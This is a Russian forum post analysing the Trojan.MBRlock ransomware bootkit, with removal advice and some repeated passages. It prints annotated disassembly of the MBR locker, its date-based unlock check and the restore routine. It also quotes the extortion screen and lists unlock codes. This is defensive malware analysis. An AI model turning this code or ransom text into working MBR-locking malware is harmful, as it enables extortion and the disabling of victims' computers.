- Сообщения
- 3,624
- Реакции
- 2,143
Trojan.MBRlock
C развитием систем безопасности операционных систем и появлением всё более сложных продуктов обеспечения защиты системы не отстают и авторы вредоносных программ. Если ранее написание вирусов представляло собой определённый вид спорта и способ самоутверждения, то сейчас это - серьёзный бизнес с серьёзным оборотом. А потому, чтобы оставаться на рынке необходимо придумывать всё более и новые уловки обхода систем защиты.
Однако, как показывает опыт, всё новое - это хорошо забытое старое. Ещё в эпоху бесплатной операционной системы от тогда ещё молодой и бескорыстной компании Microsoft - MS-DOS - существовали вирусы, поражающие загрузочный сектор. Прошло более 10 лет - и они вернулись в форме буткитов: вредоносного кода, подменяющего загрузочную запись операционной системы с целью выполнения злонамеренных операций на этапе ранней загрузки. "Злонамеренные операции" могут быть самые разные - внедрение библиотеки в адресное пространство процессов, противодействие антивирусом и многое другое. Сегодня нашей целью будет рассмотрение MBRLock - вредоносного вымогателя.
С 2007 года получили огромное распространение "винлокеры" - вредоносные программы, целью которых была блокировка или нарушение нормальной работы системы с требованием выкупа. О них достаточно хорошо написано в одном из блогов "Лаборатории Касперского". Сегодня мы разберём код того самого винлокера, который лаборатория назвала "самым труднодоступным".
Вначале - немного теории. Итак, загрузочные вирусы заражают загрузочный (boot) сектор или Master Boot Record (MBR) винчестера. Принцип действия загрузочных вирусов основан на алгоритмах запуска операционной системы при включении или перезагрузке компьютера - после необходимых тестов установленного оборудования (памяти, дисков и т.д.) программа системной загрузки считывает первый физический сектор загрузочного диска (A:, C: или CD-ROM в зависимости от параметров, установленных в BIOS Setup) и передает на него управление.
В случае винчестера управление получает программа, расположенная в MBR винчестера. Эта программа анализирует таблицу разбиения диска (Disk Partition Table), вычисляет адрес активного boot-сектора (обычно этим сектором является boot-сектор диска C
, загружает его в память и передает на него управление. Получив управление, активный boot-сектор винчестера проделывает те же действия, что и boot-сектор дискеты.
При заражении дисков загрузочные вирусы "подставляют" свой код вместо какой-либо программы, получающей управление при загрузке системы. Принцип заражения, таким образом, одинаков во всех описанных выше способах: вирус "заставляет" систему при ее перезапуске считать в память и отдать управление не оригинальному коду загрузчика, а коду вируса.
Вирус в большинстве случаев переносит оригинальный boot-сектор (или MBR) в какой-либо другой сектор диска (например, в первый свободный). Если длина вируса больше длины сектора, то в заражаемый сектор помещается первая часть вируса, остальные части размещаются в других секторах (например, в первых свободных).
При заражении системы программа обходит UAC (защитный функционал Windows), поэтому установка в систему происходит незаметно. После установки троянец прописывается в главную загрузочную запись и близлежащие сектора жесткого диска. В главной загрузочной записи жесткого диска после заражения появляется код, который загружает информацию с соседних секторов диска. Как следствие — на экран выводятся требования злоумышленников заплатить за разблокировку системы определённую сумму.
В сообщении в числе прочего говорится о том, что содержимое всех дисков компьютера якобы зашифровано и попытка самостоятельно вылечить приведет якобы к уничтожению всех данных на диске. Это не соответствует действительности. В любом случае после факта заражения лечение из самой системы становится невозможным, т. к. она даже не начинает загружаться.
При вводе верного пароля происходит восстановление исходного состояния загрузочной области диска, и загрузка установленной операционной системы происходит в обычном режиме.
В настоящее время известно несколько модификаций Trojan.MBRlock.
Исследование кода блокера в MBR
Ниже приводятся дампы кода вымогателя с пояснениями по основному функционалу каждой части.
; Чтение регистра статуса часов реального времени
; Обнуление 2 бита (установка режима BCD даты)
; == Получение текущего года ==
; Получение века
; Получение последних двух цифр года
; Сравнение со словом по адресу [01188]
; (год = 2011 или 07DBh)
; Если год больше, установка флага снятия блокировки
; Совпадение текущего года, переход к проверке текущего месяца
; Блокировка продолжается
; Сравнение с байтом по адресу [0118A]
; (месяц = 05 или май)
; Если месяц больше, установка флага снятия блокировки
; Совпадение текущего месяца, переход к проверке текущей даты
; Блокировка продолжается
; Сравнение с байтом по адресу [0118В]
; (дата = 22 или 16h)
; Совпадение текущей даты, переход к проверке текущего часа
; Блокировка продолжается
; Сравнение с байтом по адресу [0118C]
; (час = 19 или 13h)
; Совпадение текущего часа, переход к проверке текущей минуты
; Блокировка продолжается
; Сравнение с байтом по адресу [0118D]
; (минута = 4)
; Блокировка продолжается
; Установка флага снятия блокировки
; Этот код нигде не вызывается (возможно остался от дропера)
; Структура хранения данных блокировщика
Информация по анализу блокера предоставлена thyrex
Необходимо учитывать, что код разблокировки можно найти в дампе "зараженного" MBR
Что облегчает процесс поиска кода разблокировки.
________________________________
Для лечения от Trojan.MBRlock: необходимо выполнить следующие рекомендации:
1.попробовать ввести известные коды
2.Загрузить LiveCD от DrWeb или Kaspersky Rescue Disk (с обновленными базами) записать на диск и загрузив зараженный компьютер при помощи этого диска просканировать жесткий диск - найденное вылечить.
Что касается лечения вручную - учитывая то, что судя по коду зловред не шифрует оригинальную MBR, то поможет любая утилита, способная отыскать среди секторов 1..63 любой сектор с сигнатурой в конце 55AAh и переместить его на место сектора 0, таким образом, восстановив оригинальную MBR и таблицу разделов.
________________________________
C развитием систем безопасности операционных систем и появлением всё более сложных продуктов обеспечения защиты системы не отстают и авторы вредоносных программ. Если ранее написание вирусов представляло собой определённый вид спорта и способ самоутверждения, то сейчас это - серьёзный бизнес с серьёзным оборотом. А потому, чтобы оставаться на рынке необходимо придумывать всё более и новые уловки обхода систем защиты.
Однако, как показывает опыт, всё новое - это хорошо забытое старое. Ещё в эпоху бесплатной операционной системы от тогда ещё молодой и бескорыстной компании Microsoft - MS-DOS - существовали вирусы, поражающие загрузочный сектор. Прошло более 10 лет - и они вернулись в форме буткитов: вредоносного кода, подменяющего загрузочную запись операционной системы с целью выполнения злонамеренных операций на этапе ранней загрузки. "Злонамеренные операции" могут быть самые разные - внедрение библиотеки в адресное пространство процессов, противодействие антивирусом и многое другое. Сегодня нашей целью будет рассмотрение MBRLock - вредоносного вымогателя.
С 2007 года получили огромное распространение "винлокеры" - вредоносные программы, целью которых была блокировка или нарушение нормальной работы системы с требованием выкупа. О них достаточно хорошо написано в одном из блогов "Лаборатории Касперского". Сегодня мы разберём код того самого винлокера, который лаборатория назвала "самым труднодоступным".
Вначале - немного теории. Итак, загрузочные вирусы заражают загрузочный (boot) сектор или Master Boot Record (MBR) винчестера. Принцип действия загрузочных вирусов основан на алгоритмах запуска операционной системы при включении или перезагрузке компьютера - после необходимых тестов установленного оборудования (памяти, дисков и т.д.) программа системной загрузки считывает первый физический сектор загрузочного диска (A:, C: или CD-ROM в зависимости от параметров, установленных в BIOS Setup) и передает на него управление.
В случае винчестера управление получает программа, расположенная в MBR винчестера. Эта программа анализирует таблицу разбиения диска (Disk Partition Table), вычисляет адрес активного boot-сектора (обычно этим сектором является boot-сектор диска C
![Smile :) :)](https://cdn.jsdelivr.net/joypixels/assets/8.0/png/unicode/64/1f642.png)
При заражении дисков загрузочные вирусы "подставляют" свой код вместо какой-либо программы, получающей управление при загрузке системы. Принцип заражения, таким образом, одинаков во всех описанных выше способах: вирус "заставляет" систему при ее перезапуске считать в память и отдать управление не оригинальному коду загрузчика, а коду вируса.
Вирус в большинстве случаев переносит оригинальный boot-сектор (или MBR) в какой-либо другой сектор диска (например, в первый свободный). Если длина вируса больше длины сектора, то в заражаемый сектор помещается первая часть вируса, остальные части размещаются в других секторах (например, в первых свободных).
При заражении системы программа обходит UAC (защитный функционал Windows), поэтому установка в систему происходит незаметно. После установки троянец прописывается в главную загрузочную запись и близлежащие сектора жесткого диска. В главной загрузочной записи жесткого диска после заражения появляется код, который загружает информацию с соседних секторов диска. Как следствие — на экран выводятся требования злоумышленников заплатить за разблокировку системы определённую сумму.
В сообщении в числе прочего говорится о том, что содержимое всех дисков компьютера якобы зашифровано и попытка самостоятельно вылечить приведет якобы к уничтожению всех данных на диске. Это не соответствует действительности. В любом случае после факта заражения лечение из самой системы становится невозможным, т. к. она даже не начинает загружаться.
При вводе верного пароля происходит восстановление исходного состояния загрузочной области диска, и загрузка установленной операционной системы происходит в обычном режиме.
В настоящее время известно несколько модификаций Trojan.MBRlock.
Исследование кода блокера в MBR
Ниже приводятся дампы кода вымогателя с пояснениями по основному функционалу каждой части.
; Чтение сектора №9 с первого физического устройства
; в память по адресу 186A:0000
; Запуск прочитанного кода (проверка на истечение срока блокировки)
; Если ах = 0, срок блокировки истек
; Чтение сектора №3 с первого физического устройства
; в память по адресу 0000:1000 (для знакогенератора)
; Если ошибка чтения, вывести ‘G’
; Загрузить знакогенератор в память (64 символа с кода 192, 16 байт на символ)
; Чтение сектора №4 с первого физического устройства
; в память по адресу 0000:3000 (текст сообщения вымогателя)
; Вывод сообщения на экран
; Вывод строки запроса кода
; Чтение символа и запись по адресу 6C00
; Нажат Backspace
; == Проверка вводимых символов ==
; Если нажата клавиша Enter,
; сравниваем с кодом разблокировки
; Если неверно,
; установить курсор в строку 17 столбец 12
; записать 100 пробелов
; задержка в 50000h микросекунд
; вывод сообщения об ошибке
; на повторный ввод
; допустимы символы с кодами 32 - 126
; введен правильный код или истек срок блокировки
; уменьшить на 1К размер (типично для буткитов)
; получить размер доступной основной памяти
; Переводим в параграфы
; Копируем в начало блока 70 байт со смещения 0000015E
; и передаем ему управление
; восстановление оригинального MBR из сектора №2
; и запуск нормального загрузчика
; в память по адресу 186A:0000
Код:
00000000: BA8000 mov dx, 00080
00000003: B90900 mov cx, 9
00000006: B80102 mov ax, 00201
00000009: 686A18 push 0186A
0000000C: 07 pop es
0000000D: 31DB xor bx, bx
0000000F: CD13 int 013
00000011: 686A18 push 0186A
00000014: 1F pop ds
Код:
00000015: 9A00006A18 callf 186A:0000
0000001A: 31DB xor bx, bx
0000001C: 8EDB mov ds, bx
0000001E: 8EC3 mov es, bx
00000020: 8ED3 mov ss, bx
00000022: 40 inc ax
Код:
00000023: 0F840F01 jz 000000136
; в память по адресу 0000:1000 (для знакогенератора)
Код:
00000027: BA8000 mov dx, 00080
0000002A: B90300 mov cx, 3
0000002D: B80302 mov ax, 00203
00000030: BB0010 mov bx, 01000
00000033: CD13 int 013
00000035: 7305 jnc 00000003C
Код:
00000037: B8470E mov ax, 00E47
0000003A: CD10 int 010
Код:
0000003C: B80011 mov ax, 01100
0000003F: BD0010 mov bp, 01000
00000042: B94000 mov cx, 00040
00000045: BAC000 mov dx, 000C0
00000048: B710 mov bh, 010
0000004A: B300 mov bl, 0
0000004C: CD10 int 010
; в память по адресу 0000:3000 (текст сообщения вымогателя)
Код:
0000004E: BA8000 mov dx, 00080
00000051: B90500 mov cx, 5
00000054: B80402 mov ax, 00204
00000057: BB0030 mov bx, 03000
0000005A: CD13 int 013
0000005C: 6660 pushad
Код:
0000005E: B80113 mov ax, 01301
00000061: BB0C00 mov bx, 0000C
00000064: B93007 mov cx, 00730
00000067: 31D2 xor dx, dx
00000069: BD0030 mov bp, 03000
0000006C: CD10 int 010
0000006E: 6661 popad
00000070: 6660 pushad
Код:
00000072: B80113 mov ax, 01301
00000075: BB0E00 mov bx, 0000E
00000078: B90C00 mov cx, 0000C
0000007B: BA0017 mov dx, 01700
0000007E: BD527D mov bp, 07D52
00000081: CD10 int 010
00000083: 6661 popad
Код:
00000085: BF006C mov di, 06C00
00000088: B400 mov ah, 0
0000008A: 57 push di
0000008B: CD16 int 016
0000008D: 5F pop di
0000008E: EB37 jmps 0000000C7
Код:
00000090: 3C08 cmp al, 8
00000092: 7533 jnz 0000000C7
00000094: 6660 pushad
00000096: B403 mov ah, 3
00000098: B700 mov bh, 0
0000009A: 80FA0D cmp dl, 00D
0000009D: CD10 int 010
0000009F: 6661 popad
000000A1: 76E5 jbe 000000088
000000A3: 6660 pushad
000000A5: B403 mov ah, 3
000000A7: B700 mov bh, 0
000000A9: CD10 int 010
000000AB: 52 push dx
000000AC: FECA dec dl
000000AE: B700 mov bh,0
000000B0: B402 mov ah,2
000000B2: CD10 int 010
000000B4: B8200E mov ax, 00E20
000000B7: CD10 int 010
000000B9: 5A pop dx
000000BA: FECA dec dl
000000BC: B700 mov bh,0
000000BE: B402 mov ah,2
000000C0: CD10 int 010
000000C2: 6661 popad
000000C4: 4F dec di
000000C5: EBC1 jmps 000000088
Код:
000000C7: 3C0D cmp al, 00D
; сравниваем с кодом разблокировки
Код:
000000C9: 7555 jnz 000000120
000000CB: BEA57D mov si, 07DA5
000000CE: BF006C mov di, 06C00
000000D1: B500 mov ch, 0
000000D3: 8A0EA47D mov cl, [07DA4]
000000D7: F3A6 rep cmpsb
000000D9: 745B jz 000000136
000000DB: 6660 pushad
; установить курсор в строку 17 столбец 12
Код:
000000DD: B402 mov ah, 2
000000DF: B700 mov bh, 0
000000E1: BA0C17 mov dx, 0170C
000000E4: CD10 int 010
Код:
000000E6: B8200A mov ax, 00A20
000000E9: B96400 mov cx, 00064
000000EC: CD10 int 010
Код:
000000EE: B90500 mov cx, 5
000000F1: 31D2 xor dx, dx
000000F3: B486 mov ah, 086
000000F5: CD15 int 015
Код:
000000F7: B80113 mov ax, 01301
000000FA: BB0C00 mov bx, 0000C
000000FD: B90600 mov cx, 6
00000100: BA0018 mov dx, 01800
00000103: E80600 call 00000010C
00000106: 0D4572 0Dh, ‘Error’
Код:
0000010C: 5D pop bp
0000010D: CD10 int 010
0000010F: B402 mov ah, 2
00000111: B700 mov bh, 0
00000113: BA0C17 mov dx, 0170C
00000116: CD10 int 010
00000118: 6661 popad
0000011A: BF006C mov di, 06C00
0000011D: E968FF jmp 000000088
Код:
00000120: 3C20 cmp al, 020
00000122: 0F8262FF jc 000000088
00000126: 3C7E cmp al, 07E
00000128: 0F875CFF ja 000000088
0000012C: AA stosb
0000012D: B40E mov ah, 00E
0000012F: 57 push di
00000130: CD10 int 010
00000132: 5F pop di
00000133: E952FF jmp 000000088
Код:
00000136: 6A00 push 0
00000138: 07 pop es
Код:
00000139: FF0E1304 dec w,[00413]
Код:
0000013D: CD12 int 012
Код:
0000013F: C1E006 shl ax, 6
; и передаем ему управление
Код:
00000142: 8EC0 mov es, ax
00000144: 31FF xor di, di
00000146: BE5E7D mov si, 07D5E
00000149: B94600 mov cx, 00046
0000014C: F3A4 rep movsb
0000014E: 06 push es
0000014F: 6A00 push 0
00000151: CB retf
00000152: 45 ‘Enter code: ’
0000015E: 6660 pushad
00000160: B80113 mov ax, 01301
00000163: BB0800 mov bx, 8
00000166: B90E00 mov cx, 0000E
00000169: BA0018 mov dx, 01800
0000016C: E80E00 call 00000017D
0000016F: 4C ‘Loading OS…’, 0Dh
0000017D: 5D pop bp
0000017E: CD10 int 010
00000180: 6661 popad
00000182: 6A00 push 0
00000184: 07 pop es
; и запуск нормального загрузчика
Код:
00000185: B280 mov dl, 080
00000187: B90200 mov cx, 2
0000018A: B80102 mov ax, 00201
0000018D: BB007C mov bx, 07C00
00000190: CD13 int 013
00000192: B280 mov dl, 080
00000194: B90100 mov cx, 1
00000197: B80103 mov ax, 00301
0000019A: BB007C mov bx, 07C00
0000019D: CD13 int 013
0000019F: EA007C0000 jmpf 00000:07C00
Код:
; Длина кода разблокировки
000001A4: 06
; Код разблокировки
000001A5: 3837 ‘875082’
Ваш компьютер заблокирован за просмотр запрещенного видео порнографического
содержания с участием несовершеннолетних. Для разблокировки Вам необходимо:
пополнить счет абонента БИЛАЙН 89688432698 на сумму 500 руб. После оплаты,
на выданном терминалом чеке оплаты, вы найдете код, который необходимо ввести
в форму ввода кода расположенную ниже. После ввода кода, Ваш ПК автоматически
разблокируется.
Удалите все незаконно расположенные материалы с Вашего ПК после разблокировки.
В случае отказа от оплаты все данные на вашем ПК будут безвозвратно уничтожены,
тк представляют опасность для других пользователей сети интернет
содержания с участием несовершеннолетних. Для разблокировки Вам необходимо:
пополнить счет абонента БИЛАЙН 89688432698 на сумму 500 руб. После оплаты,
на выданном терминалом чеке оплаты, вы найдете код, который необходимо ввести
в форму ввода кода расположенную ниже. После ввода кода, Ваш ПК автоматически
разблокируется.
Удалите все незаконно расположенные материалы с Вашего ПК после разблокировки.
В случае отказа от оплаты все данные на вашем ПК будут безвозвратно уничтожены,
тк представляют опасность для других пользователей сети интернет
Код:
00001000: 6660 pushad
00001002: E80000 call 000001005
00001005: 5D pop bp
Код:
00001006: B00B mov al, 00B
00001008: E670 out 070, al
0000100A: E471 in al, 071
Код:
0000100C: 0CFB or al,-5
0000100E: E671 out 071, al
; Получение века
Код:
00001010: 31C0 xor ax, ax
00001012: B032 mov al, 032
00001014: E670 out 070, al
00001016: E471 in al, 071
00001018: D410 aam 010
0000101A: D50A aad
0000101C: 6BC064 imul ax, ax, 064
0000101F: 93 xchg bx, ax
Код:
00001020: 31C0 xor ax, ax
00001022: B009 mov al, 9
00001024: E670 out 070, al
00001026: E471 in al, 071
00001028: D410 aam 010
0000102A: D50A aad
0000102C: 01C3 add bx, ax
; (год = 2011 или 07DBh)
Код:
0000102E: 8DB68301 lea si, [bp][00183]
00001032: 3B1C cmp bx, [si]
00001034: 7602 jbe 000001038
Код:
00001036: EB74 jmps 0000010AC
00001038: 3B1C cmp bx, [si]
Код:
0000103A: 7403 jz 00000103F
Код:
0000103C: 6661 popad
0000103E: CB retf
0000103F: B008 mov al, 8
00001041: E670 out 070, al
00001043: E471 in al, 071
00001045: D410 aam 010
00001047: D50A aad
; (месяц = 05 или май)
Код:
00001049: 8DB68501 lea si, [bp][00185]
0000104D: 3A04 cmp al, [si]
0000104F: 7602 jbe 000001053
Код:
00001051: EB59 jmps 0000010AC
00001053: 3A04 cmp al, [si]
Код:
00001055: 7403 jz 00000105A
Код:
00001057: 6661 popad
00001059: CB retf
0000105A: B007 mov al, 7
0000105C: E670 out 070, al
0000105E: E471 in al, 071
00001060: D410 aam 010
00001062: D50A aad
; (дата = 22 или 16h)
Код:
00001064: 8DB68601 lea si, [bp][00186]
00001068: 3A04 cmp al, [si]
0000106A: 7602 jbe 00000106E
0000106C: EB3E jmps 0000010AC
0000106E: 3A04 cmp al, [si]
Код:
00001070: 7403 jz 000001075
Код:
00001072: 6661 popad
00001074: CB retf
00001075: B004 mov al, 4
00001077: E670 out 070, al
00001079: E471 in al, 071
0000107B: D410 aam 010
0000107D: D50A aad
; (час = 19 или 13h)
Код:
0000107F: 678DB587010000 lea si, [ebp][00187]
00001086: 3A04 cmp al, [si]
00001088: 7602 jbe 00000108C
0000108A: EB20 jmps 0000010AC
0000108C: 3A04 cmp al, [si]
Код:
0000108E: 7403 jz 000001093
Код:
00001090: 6661 popad
00001092: CB retf
00001093: B002 mov al, 2
00001095: E670 out 070,al
00001097: E471 in al, 071
00001099: D410 aam 010
0000109B: D50A aad
; (минута = 4)
Код:
0000109D: 8DB68801 lea si, [bp][00188]
000010A1: 3A04 cmp al, [si]
000010A3: 7602 jbe 0000010A7
000010A5: EB05 jmps 0000010AC
Код:
000010A7: 6661 popad
000010A9: 31C0 xor ax, ax
000010AB: CB retf
Код:
000010AC: 6661 popad
000010AE: B8FFFF mov ax,-1
000010B1: CB retf
; Этот код нигде не вызывается (возможно остался от дропера)
Код:
000010B2: 6660 pushad
000010B4: 9C pushf
000010B5: E80000 call 0000010B8
000010B8: 5D pop bp
000010B9: 31C0 xor ax, ax
000010BB: 9D popf
000010BC: 6661 popad
000010BE: 50 push ax
000010BF: B020 mov al, 020
000010C1: E620 out 020, al
000010C3: 58 pop ax
000010C4: EAE9006018 jmpf 01860:000E9
000010C9: CF iret
000010E9: B40E mov ah, 00Eh
000010EB: B031 mov al, 031
000010ED: CD10 int 010
000010EF: EBF8 jmps 0000010E9
000010F1: B40E mov ah, 00E
000010F3: B032 mov al, 032
000010F5: CD10 int 010
000010F7: EBF8 jmps 0000010F1
000010F9: 669C #UD(16)
000010FB: 6660 pushad
000010FD: 66C1C018 rol eax, 018
00001101: B90200 mov cx, 2
00001104: EB14 jmps 00000111A
00001106: 669C #UD(16)
00001108: 6660 pushad
0000110A: 66C1C010 rol eax, 010
0000110E: B90400 mov cx, 4
00001111: EB07 jmps 00000111A
00001113: 669C #UD(16)
00001115: 6660 pushad
00001117: B90800 mov cx, 8
0000111A: 66C1C004 rol eax, 4
0000111E: 6650 push eax
00001120: 240F and al, 00F
00001122: 3C0A cmp al, 00A
00001124: 7304 jnc 00000112A
00001126: 0430 add al, 030
00001128: EB02 jmps 00000112C
0000112A: 0437 add al, 037
0000112C: B40E mov ah, 00E
0000112E: CD10 int 010
00001130: 6658 pop eax
00001132: E2E6 loop 00000111A
00001134: 6661 popad
00001136: 669D #UD(16)
00001138: C3 retn
00001139: B032 mov al, 032
0000113B: E83000 call 00000116E
0000113E: B009 mov al, 9
00001140: E82B00 call 00000116E
00001143: B02D mov al, 02D
00001145: CD29 int 029
00001147: B008 mov al, 8
00001149: E82200 call 00000116E
0000114C: B02D mov al, 02D
0000114E: CD29 int 029
00001150: B007 mov al, c7
00001152: E81900 call 00000116E
00001155: B020 mov al, 020
00001157: CD29 int 029
00001159: B004 mov al, 4
0000115B: E81000 call 00000116E
0000115E: B068 mov al, 068
00001160: CD29 int 029
00001162: B020 mov al, 020
00001164: CD29 int 029
00001166: B002 mov al, 2
00001168: E80300 call 00000116E
0000116B: 6661 popad
0000116D: CB retf
0000116E: E670 out 070, al
00001170: E471 in al, 071
00001172: 50 push ax
00001173: C0E804 shr al, 4
00001176: 0430 add al, 030
00001178: AA stosb
00001179: 58 pop ax
0000117A: 240F and al, 00F
0000117C: 0430 add al, 030
0000117E: AA stosb
0000117F: C3 retn
; Структура хранения данных блокировщика
Код:
00001180: 44 ‘DATETIME’
00001188: DB07
0000118A: 05
0000118B: 16
0000118C: 13
0000118D: 04
Информация по анализу блокера предоставлена thyrex
Необходимо учитывать, что код разблокировки можно найти в дампе "зараженного" MBR
Что облегчает процесс поиска кода разблокировки.
________________________________
Для лечения от Trojan.MBRlock: необходимо выполнить следующие рекомендации:
1.попробовать ввести известные коды
Код:
[LIST]
[*]ekol
[*]jail
[*]777888
[*]zpo4301
[*]zzp0193
[*]281056
[*]098SWO
[*]875082
[*]692058
[/LIST]
Что касается лечения вручную - учитывая то, что судя по коду зловред не шифрует оригинальную MBR, то поможет любая утилита, способная отыскать среди секторов 1..63 любой сектор с сигнатурой в конце 55AAh и переместить его на место сектора 0, таким образом, восстановив оригинальную MBR и таблицу разделов.
________________________________
- Если по каким-либо причинам у вас это вызывает трудности, то обратитесь за квалифицированной и бесплатной помощью у нас на форуме в раздел "Лечение персонального компьютера от вирусов ". Для этого необходимо выполнить простые Правила оформления запроса.
- Если вы можете дополнить данное описание, прошу не стеснятся и отписываться в этой теме.
Последнее редактирование модератором: